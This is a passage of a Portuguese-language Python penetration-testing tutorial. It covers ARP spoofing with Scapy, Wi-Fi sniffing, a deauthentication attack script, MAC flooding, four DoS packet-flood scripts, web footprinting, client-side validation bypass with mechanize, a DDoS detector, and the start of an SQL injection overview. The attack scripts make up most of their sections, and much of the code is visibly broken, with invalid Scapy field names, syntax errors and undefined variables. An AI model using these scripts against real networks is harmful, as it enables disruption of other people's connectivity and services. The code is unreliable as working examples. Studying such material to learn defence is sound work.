Nesta etapa, encontraremos o endereço IP da máquina de destino, executando o comando ifconfig no prompt de comando do Kali Linux, que precisamos abrir em outra máquina virtual.

Etapa 3: fazer ping na máquina de destino

Nesta etapa, precisamos fazer o ping da máquina alvo a partir da máquina do invasor com a ajuda do seguinte comando -

Ping –c 192.168.43.85(say IP address of target machine)

Etapa 4: cache ARP na máquina de destino

Já sabemos que duas máquinas usam pacotes ARP para trocar endereços MAC, portanto, após a etapa 3, podemos executar o seguinte comando na máquina de destino para ver o cache ARP -

arp -n

Etapa 5: Criação de pacote ARP usando Scapy

Podemos criar pacotes ARP com a ajuda de Scapy da seguinte maneira -

scapy
arp_packt = ARP()
arp_packt.display()

Etapa 6: Envio de pacote ARP malicioso usando Scapy

Podemos enviar pacotes ARP maliciosos com a ajuda de Scapy da seguinte maneira -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Agora, se verificarmos novamente o cache ARP na máquina de destino, veremos o endereço falso '1.1.1.1'.

Os sistemas sem fio vêm com muita flexibilidade, mas, por outro lado, também levam a sérios problemas de segurança. E, como isso se torna um sério problema de segurança - porque os invasores, no caso de conectividade sem fio, precisam apenas ter a disponibilidade de sinal para atacar ao invés de ter o acesso físico como no caso de uma rede com fio. O teste de penetração dos sistemas sem fio é uma tarefa mais fácil do que fazer isso na rede com fio. Não podemos realmente aplicar boas medidas de segurança física contra um meio sem fio, se estivermos localizados perto o suficiente, poderíamos "ouvir" (ou pelo menos seu adaptador sem fio é capaz de ouvir) tudo que está fluindo pelo ar.

Pré-requisitos

Antes de começarmos a aprender mais sobre teste de rede sem fio, vamos considerar a discussão de terminologias e o processo de comunicação entre o cliente e o sistema sem fio.

Terminologias importantes

Vamos agora aprender as terminologias importantes relacionadas ao pentesting de rede sem fio.

Ponto de Acesso (AP)

Um ponto de acesso (AP) é o nó central em implementações sem fio 802.11. Este ponto é usado para conectar usuários a outros usuários dentro da rede e também pode servir como ponto de interconexão entre LAN sem fio (WLAN) e uma rede fixa. Em uma WLAN, um AP é uma estação que transmite e recebe os dados.

Identificador de conjunto de serviço (SSID)

É uma string de texto legível por humanos de 0-32 bytes, que é basicamente o nome atribuído a uma rede sem fio. Todos os dispositivos na rede devem usar este nome que diferencia maiúsculas de minúsculas para se comunicar pela rede sem fio (Wi-Fi).

Identificação de conjunto de serviço básico (BSSID)

É o endereço MAC do chipset Wi-Fi em execução em um ponto de acesso sem fio (AP). Ele é gerado aleatoriamente.

Número do canal

Ele representa a faixa de freqüência de rádio usada pelo Ponto de Acesso (AP) para transmissão.

Comunicação entre o cliente e o sistema sem fio

Outra coisa importante que precisamos entender é o processo de comunicação entre o cliente e o sistema wireless. Com a ajuda do diagrama a seguir, podemos entender o mesmo -

The Beacon Frame

No processo de comunicação entre o cliente e o ponto de acesso, o AP envia periodicamente um quadro de beacon para mostrar sua presença. Este quadro vem com informações relacionadas ao SSID, BSSID e número do canal.

O pedido da Sonda

Agora, o dispositivo cliente enviará uma solicitação de teste para verificar os APs no intervalo. Depois de enviar a solicitação de teste, ele aguardará a resposta de teste do AP. A solicitação de investigação contém informações como SSID do AP, informações específicas do fornecedor, etc.

A resposta da Sonda

Agora, depois de obter a solicitação de teste, o AP enviará uma resposta de teste, que contém as informações como taxa de dados com suporte, capacidade, etc.

O pedido de autenticação

Agora, o dispositivo cliente enviará um quadro de solicitação de autenticação contendo sua identidade.

A resposta de autenticação

Agora, em resposta, o AP enviará um quadro de resposta de autenticação indicando aceitação ou rejeição.

O pedido de associação

Quando a autenticação é bem-sucedida, o dispositivo cliente enviou um quadro de solicitação de associação contendo a taxa de dados suportada e o SSID do AP.

A resposta da Associação

Agora, em resposta, o AP enviará um quadro de resposta de associação indicando aceitação ou rejeição. Um ID de associação do dispositivo cliente será criado em caso de aceitação.

Localização do identificador de conjunto de serviços sem fio (SSID) usando Python

Podemos reunir as informações sobre SSID com a ajuda do método raw socket, bem como usando a biblioteca Scapy.

Método de soquete bruto

Nós já aprendemos isso mon0captura os pacotes sem fio; então, precisamos definir o modo de monitor paramon0. No Kali Linux, isso pode ser feito com a ajuda deairmon-ngroteiro. Depois de executar este script, ele dará um nome à placa wirelesswlan1. Agora, com a ajuda do seguinte comando, precisamos habilitar o modo monitor emmon0 -

airmon-ng start wlan1

A seguir está o método de soquete bruto, script Python, que nos dará o SSID do AP -

Em primeiro lugar, precisamos importar os módulos de soquete da seguinte forma -

import socket

Agora, vamos criar um socket que terá três parâmetros. O primeiro parâmetro nos informa sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz que estamos interessados ​​em todos os pacotes.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Agora, a próxima linha ligará o mon0 modo e 0x0003.

s.bind(("mon0", 0x0003))

Agora, precisamos declarar uma lista vazia, que armazenará o SSID dos APs.

ap_list = []

Agora, precisamos chamar o recvfrom()método para receber o pacote. Para que a detecção continue, usaremos o loop infinito do while.

while True:
   packet = s.recvfrom(2048)

A próxima linha de código mostra se o quadro é de 8 bits, indicando o quadro beacon.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Sniffer SSID com Scapy

Scapy é uma das melhores bibliotecas que podem nos permitir farejar pacotes wi-fi facilmente. Você pode aprender Scapy em detalhes emhttps://scapy.readthedocs.io/en/latest/. Para começar, execute o Sacpy no modo interativo e use o comando conf para obter o valor de iface. A interface padrão é eth0. Agora, como temos a cúpula acima, precisamos alterar esse modo para mon0. Isso pode ser feito da seguinte forma -

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Vamos agora importar Scapy como uma biblioteca. Além disso, a execução do seguinte script Python nos dará o SSID -

from scapy.all import *

Agora, precisamos declarar uma lista vazia que armazenará o SSID dos APs.

ap_list = []

Agora vamos definir uma função chamada Packet_info(), que terá a lógica de análise de pacote completa. Ele terá o argumento pkt.

def Packet_info(pkt) :

Na próxima instrução, vamos aplicar um filtro que passará apenas Dot11tráfego, o que significa tráfego 802.11. A linha a seguir também é um filtro, que passa o tráfego tendo o tipo de quadro 0 (representa o quadro de gerenciamento) e o subtipo de quadro é 8 (representa o quadro beacon).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Agora, a função sniff irá farejar os dados com iface valor mon0 (para pacotes sem fio) e invocar o Packet_info função.

sniff(iface = "mon0", prn = Packet_info)

Para implementar os scripts Python acima, precisamos de uma placa Wi-Fi que seja capaz de farejar o ar usando o modo monitor.

Detectando clientes de ponto de acesso

Para detectar os clientes dos pontos de acesso, precisamos capturar o quadro de solicitação da sonda. Podemos fazer isso exatamente como fizemos no script Python para SSID sniffer usando Scapy. Precisamos darDot11ProbeReqpara capturar o quadro de solicitação da sonda. A seguir está o script Python para detectar clientes de pontos de acesso -

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Ataques sem fio

Da perspectiva de um pentester, é muito importante entender como ocorre um ataque sem fio. Nesta seção, discutiremos dois tipos de ataques sem fio -

  • Os ataques de desautenticação (desautenticação)

  • O ataque de inundação MAC

Os ataques de desautenticação (desautenticação)

No processo de comunicação entre um dispositivo cliente e um ponto de acesso sempre que um cliente deseja se desconectar, ele precisa enviar o quadro de desautenticação. Em resposta a esse quadro do cliente, o AP também enviará um quadro de desautenticação. Um invasor pode tirar vantagem desse processo normal falsificando o endereço MAC da vítima e enviando o quadro de desautenticação para o AP. Devido a isso, a conexão entre o cliente e o AP é interrompida. A seguir está o script Python para realizar o ataque de desautenticação -

Vamos primeiro importar Scapy como uma biblioteca -

from scapy.all import *
import sys

As duas instruções a seguir irão inserir o endereço MAC do AP e da vítima, respectivamente.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Agora, precisamos criar o quadro de desautenticação. Ele pode ser criado executando a seguinte instrução.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

A próxima linha de código representa o número total de pacotes enviados; aqui é 500 e o intervalo entre dois pacotes.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Resultado

Após a execução, o comando acima gera a seguinte saída -

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Isso é seguido pela criação do quadro de deauth, que é enviado ao ponto de acesso em nome do cliente. Isso fará com que a conexão entre eles seja cancelada.

A questão aqui é como detectamos o ataque desautorizado com o script Python. A execução do seguinte script Python ajudará na detecção de tais ataques -

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

No script acima, a declaração pkt.subtype == 12 indica o quadro de deauth e a variável I, que é definida globalmente, informa sobre o número de pacotes.

Resultado

A execução do script acima gera a seguinte saída -

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Os ataques de inundação de endereço MAC

O ataque de inundação de endereço MAC (ataque de inundação de tabela CAM) é um tipo de ataque de rede em que um invasor conectado a uma porta de switch inunda a interface do switch com um grande número de quadros Ethernet com diferentes endereços MAC de origem falsos. Os estouros da tabela CAM ocorrem quando um influxo de endereços MAC é inundado na tabela e o limite da tabela CAM é alcançado. Isso faz com que o switch atue como um hub, inundando a rede com tráfego em todas as portas. Esses ataques são muito fáceis de iniciar. O seguinte script Python ajuda a lançar tal ataque de inundação CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

O principal objetivo desse tipo de ataque é verificar a segurança do switch. Precisamos usar a segurança da porta se quisermos diminuir o efeito do ataque de inundação de MAC.

Os aplicativos e servidores da Web são essenciais para nossa presença online e os ataques observados contra eles constituem mais de 70% do total de ataques tentados na Internet. Esses ataques tentam converter sites confiáveis ​​em maliciosos. Por esse motivo, o teste de caneta de servidor e aplicativo da web desempenha um papel importante.

Footprint de um servidor web

Por que precisamos considerar a segurança dos servidores web? É porque, com o rápido crescimento da indústria de comércio eletrônico, o principal alvo dos invasores é o servidor web. Para testes de servidor web, devemos saber sobre o servidor web, seu software de hospedagem e sistemas operacionais, juntamente com os aplicativos que estão sendo executados neles. A coleta dessas informações sobre o servidor web é chamada de footprinting do servidor web.

Em nossa seção subsequente, discutiremos os diferentes métodos de footprinting de um servidor web.

Métodos de pegada de um servidor web

Os servidores da Web são software ou hardware de servidor dedicado a lidar com solicitações e atender a respostas. Esta é uma área chave para um pentester se concentrar enquanto faz o teste de penetração de servidores web.

Vamos agora discutir alguns métodos, implementados em Python, que podem ser executados para o footprint de um servidor web -

Teste de disponibilidade de métodos HTTP

Uma prática muito boa para um testador de penetração é começar listando os vários métodos HTTP disponíveis. A seguir está um script Python com a ajuda do qual podemos nos conectar ao servidor web de destino e enumerar os métodos HTTP disponíveis -

Para começar, precisamos importar a biblioteca de solicitações -

import requests

Depois de importar a biblioteca de solicitações, crie uma matriz de métodos HTTP, que iremos enviar. Faremos uso de alguns métodos padrão como 'GET', 'POST', 'PUT', 'DELETE', 'OPTIONS' e um método não padrão 'TEST' para verificar como um servidor web pode lidar com a entrada inesperada.

method_list = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE','TEST']

A linha de código a seguir é o loop principal do script, que enviará os pacotes HTTP para o servidor da web e imprimirá o método e o código de status.

for method in method_list:
   req = requests.request(method, 'Enter the URL’)
   print (method, req.status_code, req.reason)

A próxima linha testará a possibilidade de rastreamento entre sites (XST) enviando o método TRACE.

if method == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
   print ('Cross Site Tracing(XST) is possible')

Depois de executar o script acima para um servidor web específico, obteremos 200 respostas OK para um método específico aceito pelo servidor web. Obteremos uma resposta 403 Forbidden se o servidor web negar explicitamente o método. Assim que enviarmos o método TRACE para testar o rastreamento entre sites (XST), obteremos405 Not Allowed respostas do servidor web, caso contrário, receberemos a mensagem ‘Cross Site Tracing(XST) is possible’.

Footprint verificando cabeçalhos HTTP

Os cabeçalhos HTTP são encontrados em solicitações e respostas do servidor da web. Eles também carregam informações muito importantes sobre os servidores. É por isso que o testador de penetração está sempre interessado em analisar informações por meio de cabeçalhos HTTP. A seguir está um script Python para obter as informações sobre os cabeçalhos do servidor web -

Para começar, vamos importar a biblioteca de solicitações -

import requests

Precisamos enviar uma solicitação GET ao servidor da web. A linha de código a seguir faz uma solicitação GET simples por meio da biblioteca de solicitações.

request = requests.get('enter the URL')

A seguir, geraremos uma lista de cabeçalhos sobre os quais você precisa das informações.

header_list = [
   'Server', 'Date', 'Via', 'X-Powered-By', 'X-Country-Code', ‘Connection’, ‘Content-Length’]

O próximo é um bloco try e except.

for header in header_list:
   try:
      result = request.header_list[header]
      print ('%s: %s' % (header, result))
   except Exception as err:
      print ('%s: No Details Found' % header)

Depois de executar o script acima para um servidor da web específico, obteremos as informações sobre os cabeçalhos fornecidos na lista de cabeçalhos. Se não houver informações para um cabeçalho específico, será exibida a mensagem 'Nenhum detalhe encontrado'. Você também pode aprender mais sobre os campos HTTP_header no link -https://www.tutorialspoint.com/http/http_header_fields.htm.

Teste de configurações de servidor da web inseguras

Podemos usar informações de cabeçalho HTTP para testar configurações inseguras do servidor da web. No seguinte script Python, vamos usar o bloco try / except para testar cabeçalhos de servidor da web não seguros para o número de URLs que são salvos em um nome de arquivo de textowebsites.txt -

import requests
urls = open("websites.txt", "r")

for url in urls:
   url = url.strip()
   req = requests.get(url)
   print (url, 'report:')
   
   try:
      protection_xss = req.headers['X-XSS-Protection']
      if protection_xss != '1; mode = block':
      print ('X-XSS-Protection not set properly, it may be possible:', protection_xss)
   except:
      print ('X-XSS-Protection not set, it may be possible')
      
   try:
      options_content_type = req.headers['X-Content-Type-Options']
      if options_content_type != 'nosniff':
      print ('X-Content-Type-Options not set properly:', options_content_type)
   except:
      print ('X-Content-Type-Options not set')
      
   try:
      transport_security = req.headers['Strict-Transport-Security']
   except:
      print ('HSTS header not set properly, Man in the middle attacks is possible')
      
   try:
      content_security = req.headers['Content-Security-Policy']
      print ('Content-Security-Policy set:', content_security)
   except:
      print ('Content-Security-Policy missing')

Pegada de um aplicativo da Web

Em nossa seção anterior, discutimos a pegada de um servidor da web. Da mesma forma, a pegada de um aplicativo da web também é considerada importante do ponto de vista de um testador de penetração.

Em nossa seção subsequente, aprenderemos sobre os diferentes métodos de footprinting de um aplicativo da web.

Métodos de pegada de um aplicativo da Web

O aplicativo da Web é um programa cliente-servidor executado pelo cliente em um servidor da web. Esta é outra área-chave para um pentester se concentrar ao fazer o teste de penetração do aplicativo da web.

Vamos agora discutir os diferentes métodos, implementados em Python, que podem ser usados ​​para o footprint de um aplicativo da web -

Coletando informações usando o analisador BeautifulSoup

Suponha que desejamos coletar todos os hiperlinks de uma página da web; podemos usar um analisador chamado BeautifulSoup. O analisador é uma biblioteca Python para extrair dados de arquivos HTML e XML. Pode ser usado comurlib porque ele precisa de uma entrada (documento ou url) para criar um objeto sopa e não pode buscar a página da web por si só.

Para começar, importemos os pacotes necessários. Vamos importar urlib eBeautifulSoup. Lembre-se de que antes de importar o BeautifulSoup, precisamos instalá-lo.

import urllib
from bs4 import BeautifulSoup

O script Python fornecido abaixo reunirá o título da página da web e hiperlinks -

Agora, precisamos de uma variável, que pode armazenar a URL do site. Aqui, usaremos uma variável chamada 'url'. Também usaremos opage.read() função que pode armazenar a página da web e atribuir a página da web à variável html_page.

url = raw_input("Enter the URL ")
page = urllib.urlopen(url)
html_page = page.read()

o html_page será atribuído como uma entrada para criar o objeto sopa.

soup_object = BeautifulSoup(html_page)

As duas linhas seguintes imprimirão o nome do título com tags e sem tags, respectivamente.

print soup_object.title
print soup_object.title.text

A linha de código mostrada abaixo salvará todos os hiperlinks.

for link in soup_object.find_all('a'):
   print(link.get('href'))

Agarrando banner

O banner é como uma mensagem de texto que contém informações sobre o servidor e a captura do banner é o processo de busca das informações fornecidas pelo próprio banner. Agora, precisamos saber como esse banner é gerado. Ele é gerado pelo cabeçalho do pacote enviado. E enquanto o cliente tenta se conectar a uma porta, o servidor responde porque o cabeçalho contém informações sobre o servidor.

O seguinte script Python ajuda a pegar o banner usando programação de socket -

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))

targethost = str(raw_input("Enter the host name: "))
targetport = int(raw_input("Enter Port: "))
s.connect((targethost,targetport))

def garb(s:)
   try:
      s.send('GET HTTP/1.1 \r\n')
      ret = sock.recv(1024)
      print ('[+]' + str(ret))
      return
   except Exception as error:
      print ('[-]' Not information grabbed:' + str(error))
      return

Depois de executar o script acima, obteremos informações semelhantes sobre os cabeçalhos que obtivemos no script Python de footprinting de cabeçalhos HTTP na seção anterior.

Neste capítulo, aprenderemos como a validação ajuda no Python Pentesting.

O principal objetivo da validação é testar e garantir que o usuário forneceu as informações necessárias e devidamente formatadas para concluir uma operação com êxito.

Existem dois tipos diferentes de validação -

  • validação do lado do cliente (navegador da web)
  • validação do lado do servidor

Validação do lado do servidor e validação do lado do cliente

A validação de entrada do usuário que ocorre no lado do servidor durante uma sessão de postback é chamada server-side validation. As linguagens como PHP e ASP.Net usam validação do lado do servidor. Depois que o processo de validação no lado do servidor termina, o feedback é enviado de volta ao cliente, gerando uma nova página da web dinâmica. Com a ajuda da validação do lado do servidor, podemos obter proteção contra usuários mal-intencionados.

Por outro lado, a validação de entrada do usuário que ocorre no lado do cliente é chamada de validação do lado do cliente. Linguagens de script como JavaScript e VBScript são usadas paraclient-side validation. Nesse tipo de validação, toda validação de entrada do usuário é feita apenas no navegador do usuário. Não é tão seguro quanto a validação do lado do servidor porque o hacker pode facilmente contornar nossa linguagem de script do lado do cliente e enviar entradas perigosas para o servidor.

Parâmetro de temperamento do lado do cliente: Bypass de validação

A passagem de parâmetros no protocolo HTTP pode ser feita com a ajuda dos métodos POST e GET. GET é usado para solicitar dados de um recurso especificado e POST é usado para enviar dados a um servidor para criar ou atualizar um recurso. Uma grande diferença entre os dois métodos é que, se um site estiver usando o método GET, os parâmetros de passagem são mostrados na URL e podemos alterar esse parâmetro e passá-lo para o servidor da web. Por exemplo, a string de consulta (pares nome / valor) é enviada no URL de uma solicitação GET:/test/hello_form.php?name1 = value1&name2 = value2. Por outro lado, os parâmetros não são mostrados durante o uso do método POST. Os dados enviados para o servidor com POST são armazenados no corpo da solicitação HTTP. Por exemplo, POST/test/hello_form.php HTTP/1.1 Host: ‘URL’ name1 = value1&name2 = value2.

Módulo Python para Bypass de Validação

O módulo Python que vamos usar é mechanize. É um navegador Python, que fornece a facilidade de obter formulários da web em uma página da web e facilita o envio de valores de entrada. Com a ajuda de mecanizar, podemos contornar os parâmetros de validação e temperar do lado do cliente. No entanto, antes de importá-lo em nosso script Python, precisamos instalá-lo executando o seguinte comando -

pip install mechanize

Exemplo

A seguir está um script Python, que usa mecanizar para ignorar a validação de um formulário da web usando o método POST para passar o parâmetro. O formulário da web pode ser obtido no linkhttps://www.tutorialspoint.com/php/php_validation_example.htm e pode ser usado em qualquer site fictício de sua escolha.

Para começar, vamos importar o navegador mecanizar -

import mechanize

Agora, vamos criar um objeto chamado brwsr do navegador mecanizar -

brwsr = mechanize.Browser()

A próxima linha de código mostra que o agente do usuário não é um robô.

brwsr.set_handle_robots( False )

Agora, precisamos fornecer a url do nosso site fictício contendo o formulário da web no qual precisamos ignorar a validação.

url = input("Enter URL ")

Agora, as linhas seguintes definirão alguns pais como verdadeiros.

brwsr.set_handle_equiv(True)
brwsr.set_handle_gzip(True)
brwsr.set_handle_redirect(True)
brwsr.set_handle_referer(True)

Em seguida, ele abrirá a página da web e imprimirá o formulário da web nessa página.

brwsr.open(url)
for form in brwsr.forms():
   print form

A próxima linha de códigos irá ignorar as validações nos campos fornecidos.

brwsr.select_form(nr = 0)
brwsr.form['name'] = ''
brwsr.form['gender'] = ''
brwsr.submit()

A última parte do script pode ser alterada de acordo com os campos do formulário da web em que queremos ignorar a validação. Aqui no script acima, pegamos dois campos -‘name’ e ‘gender’ que não pode ser deixado em branco (você pode ver na codificação do formulário da web), mas este script irá contornar essa validação.

Neste capítulo, aprenderemos sobre o ataque DoS e DdoS e entenderemos como detectá-los.

Com o boom do setor de comércio eletrônico, o servidor da Web agora está sujeito a ataques e é um alvo fácil para os hackers. Os hackers geralmente tentam dois tipos de ataque -

  • DoS (negação de serviço)
  • DDoS (negação de serviço distribuída)

Ataque DoS (negação de serviço)

O ataque de negação de serviço (DoS) é uma tentativa dos hackers de tornar um recurso de rede indisponível. Geralmente interrompe o host, temporária ou indefinidamente, que está conectado à Internet. Esses ataques normalmente visam serviços hospedados em servidores da web de missão crítica, como bancos, gateways de pagamento com cartão de crédito.

Sintomas de ataque DoS

  • Desempenho de rede excepcionalmente lento.

  • Indisponibilidade de um determinado site.

  • Incapacidade de acessar qualquer site da web.

  • Aumento dramático no número de e-mails de spam recebidos.

  • Negação de longo prazo de acesso à web ou a quaisquer serviços da Internet.

  • Indisponibilidade de um determinado site.

Tipos de ataque DoS e sua implementação Python

O ataque DoS pode ser implementado no link de dados, rede ou camada de aplicativo. Vamos agora aprender sobre os diferentes tipos de ataques DoS &; sua implementação em Python -

Porta única de IP único

Um grande número de pacotes é enviado ao servidor da web usando um único IP e um único número de porta. É um ataque de baixo nível usado para verificar o comportamento do servidor web. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta única de IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1

Após a execução, o script acima solicitará as três coisas a seguir -

  • Endereço IP de origem e destino.

  • Endereço IP do número da porta de origem.

  • Em seguida, ele enviará um grande número de pacotes ao servidor para verificar seu comportamento.

Porta única IP múltipla

Um grande número de pacotes é enviado ao servidor da web usando um único IP e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O seguinte script python ajudará a implementar um ataque DoS de porta múltipla com IP único -

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt, inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Porta única com vários IPs

Um grande número de pacotes é enviado ao servidor da web usando vários IP e de um único número de porta. Sua implementação em Python pode ser feita com o auxílio do Scapy. O script Python a seguir implementa um ataque DoS de porta múltipla com IP único -

from scapy.all import *
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   
   Source_ip = a + dot + b + dot + c + dot + d
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt,inter = .001)
   print ("packet sent ", i)
      i = i + 1

Multiple IP Multiple Port

Um grande número de pacotes é enviado ao servidor da web usando vários IPs e de várias portas. Sua implementação em Python pode ser feita com o auxílio do Scapy. O script Python a seguir ajuda a implementar um ataque DoS com várias portas e vários IPs -

Import random
from scapy.all import *
target_IP = input("Enter IP address of Target: ")
i = 1

while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
   
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Ataque DDoS (negação de serviço distribuída)

Um ataque de negação de serviço distribuído (DDoS) é uma tentativa de tornar um serviço online ou um site indisponível, sobrecarregando-o com grandes inundações de tráfego gerado de várias fontes.

Ao contrário de um ataque de negação de serviço (DoS), em que um computador e uma conexão com a Internet são usados ​​para inundar um recurso direcionado com pacotes, um ataque DDoS usa muitos computadores e muitas conexões com a Internet, muitas vezes distribuídas globalmente no que é conhecido como botnet . Um ataque DDoS volumétrico em grande escala pode gerar um tráfego medido em dezenas de Gigabits (e até centenas de Gigabits) por segundo. Pode ser lido em detalhes emhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Detecção de DDoS usando Python

Na verdade, um ataque DDoS é um pouco difícil de detectar porque você não sabe que o host que está enviando o tráfego é falso ou real. O script Python fornecido a seguir ajudará a detectar o ataque DDoS.

Para começar, vamos importar as bibliotecas necessárias -

import socket
import struct

from datetime import datetime

Agora, criaremos um socket como criamos nas seções anteriores também.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Usaremos um dicionário vazio -

dict = {}

A linha de código a seguir abrirá um arquivo de texto, contendo os detalhes do ataque DDoS no modo anexar.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Com a ajuda da seguinte linha de código, a hora atual será escrita sempre que o programa for executado.

file_txt.writelines(t1)
file_txt.writelines("\n")

Agora, precisamos assumir os acessos de um determinado IP. Aqui, estamos assumindo que, se um determinado IP estiver atingindo por mais de 15 vezes, então será um ataque.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

A seguinte linha de código irá verificar se o IP existe no dicionário ou não. Se existir, será aumentado em 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

A próxima linha de código é usada para remover a redundância.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Depois de executar o script acima, obteremos o resultado em um arquivo de texto. De acordo com o script, se um IP for atingido por mais de 15 vezes, ele será impresso quando um ataque DDoS for detectado junto com esse endereço IP.

A injeção de SQL é um conjunto de comandos SQL que são colocados em uma string de URL ou em estruturas de dados para recuperar uma resposta que desejamos dos bancos de dados que estão conectados aos aplicativos da web. Esse tipo de ataque geralmente ocorre em páginas da Web desenvolvidas em PHP ou ASP.NET.

Um ataque de injeção de SQL pode ser feito com as seguintes intenções -

  • Para modificar o conteúdo dos bancos de dados

  • Para modificar o conteúdo dos bancos de dados

  • Para realizar diferentes consultas que não são permitidas pelo aplicativo

Este tipo de ataque funciona quando os aplicativos não validam as entradas adequadamente, antes de passá-las para uma instrução SQL. As injeções são normalmente colocadas em barras de endereço, campos de pesquisa ou campos de dados.

A maneira mais fácil de detectar se um aplicativo da web está vulnerável a um ataque de injeção de SQL é usar o caractere "'" em uma string e ver se há algum erro.

Tipos de ataque SQLi

Nesta seção, aprenderemos sobre os diferentes tipos de ataque SQLi. O ataque pode ser categorizado nos seguintes dois tipos -

  • Injeção de SQL em banda (SQLi simples)

  • Injeção SQL inferencial (SQLi cego)

Injeção de SQL em banda (SQLi simples)

É a injeção SQL mais comum. Esse tipo de injeção de SQL ocorre principalmente quando um invasor é capaz de usar o mesmo canal de comunicação para lançar o ataque e reunir resultados. As injeções de SQL em banda são divididas em dois tipos -

  • Error-based SQL injection - Uma técnica de injeção de SQL baseada em erro depende de mensagem de erro lançada pelo servidor de banco de dados para obter informações sobre a estrutura do banco de dados.

  • Union-based SQL injection - É outra técnica de injeção SQL em banda que aproveita o operador UNION SQL para combinar os resultados de duas ou mais instruções SELECT em um único resultado, que é então retornado como parte da resposta HTTP.

Injeção SQL inferencial (SQLi cego)

Nesse tipo de ataque de injeção de SQL, o invasor não consegue ver o resultado de um ataque dentro da banda porque nenhum dado é transferido por meio do aplicativo da web. Esta é a razão pela qual também é chamado de Blind SQLi. As injeções SQL inferenciais são de dois tipos -

